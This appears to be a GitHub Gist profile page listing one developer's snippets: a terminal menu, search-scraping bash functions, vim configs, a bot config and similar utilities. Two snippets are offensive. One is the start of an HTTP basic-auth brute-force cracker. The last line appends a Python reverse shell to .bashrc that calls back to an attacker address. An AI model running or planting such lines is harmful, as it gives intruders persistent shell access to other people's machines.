Skip to content

Instantly share code, notes, and snippets.

View XayOn's full-sized avatar
🐍

David Francos XayOn

🐍
View GitHub Profile
@XayOn
XayOn / bruteforce.py
Created September 19, 2013 14:44
Como hacer un brute force cracker para autenticación básica http en veinte lineas de python, con coloricos y todo. Argumentos: <fichero de usuarios> <fichero de contraseñas> <url>
#!/usr/bin/env python
from termcolor import colored
import sys, mechanize
with open(sys.argv[1]) as userfile:
users = [u.strip() for u in userfile.readlines()]
with open(sys.argv[2]) as pwfile:
passwords = [u.strip() for u in pwfile.readlines()]
for user in users:
@XayOn
XayOn / pymenu-urwid.py
Created September 22, 2013 04:26
Using some python magic, the URWID example for multiple menus, and the XDG library, I present you here a simplish-as-it-can-get ncurses application menu for all TUI lovers over the world.
import urwid
import os
from xdg import DesktopEntry
def read_menus():
"""
Read the menus and return them in an array
"""
all_menus = []
@XayOn
XayOn / refind.sh
Created December 7, 2013 15:35
refind easy install&execute
tmp=$(mktemp -d); cd $tmp
wget http://downloads.sourceforge.net/project/refind/0.7.5/refind-bin-0.7.5.zip?use_mirror=switch -O refind.zip
unzip refind; cd refind-bin-*; bash install.sh
@XayOn
XayOn / bash_searcher_functions.sh
Last active January 4, 2016 01:49
Some searcher functions in bash with wget and some regex magic.
google(){ export ua="Mozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522+ (KHTML, like Gecko) Safari/419.3"; ( for i in $(seq 0 $2); do wget -O - --user-agent="$ua" "https://www.google.es/search?safe=off&output=search&sclient=psy-ab&q=$1&start=$((i * 10 ))"; done ) 2>/dev/null | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//'|egrep -v "^/|^#|google|javascript:void";}
github(){ google "site:github.com $1" 1|egrep '^https://github.com/[[:alnum:]]{0,40}/[-[:alnum:]]{0,40}$'; }
google_feelinglucky(){ google ${@} |head -n1; }
github_feelinglucky(){ github ${@} |head -n1; }
# git clone $(github_feelinglucky nanobenv);
@XayOn
XayOn / pylist.py
Created August 24, 2014 04:43
PyList
#!/usr/bin/python
import sys
import time
import os
import optparse
import pdb
import Tool80211
airmonitor = Tool80211.Airview(sys.argv[1])
airmonitor.start()
@XayOn
XayOn / .ghtrend_bot.cfg
Last active September 15, 2017 04:10
Github trending twitter bot
[github]
login=
password=
[twitter]
CONSUMER_KEY=
CONSUMER_SECRET=
ACCESS_TOKEN=
ACCESS_TOKEN_SECRET=
import bencodepy, hashlib, base64
base64.b32encode(hashlib.sha1(bencodepy.encode(bencodepy.decode_from_file(file_)[b'info'])).digest())
" Bundle Plugins
set nocompatible
set hidden
set encoding=utf-8
filetype off
set rtp+=~/.vim/bundle/Vundle.vim
set rtp+=~/.fzf
call vundle#begin()
Plugin 'VundleVim/Vundle.vim'
@XayOn
XayOn / .vimrc
Created June 2, 2017 07:29
My VIM8 configuration
" Bundle Plugins
set nocompatible
set hidden
set encoding=utf-8
filetype off
set rtp+=~/.vim/bundle/Vundle.vim
set rtp+=~/.fzf
call vundle#begin()
Plugin 'VundleVim/Vundle.vim'
echo -e "\npython2 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((attacker_ip,attacker_port)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn(\"/bin/sh\")' &>/dev/null & disown;" >> .bashrc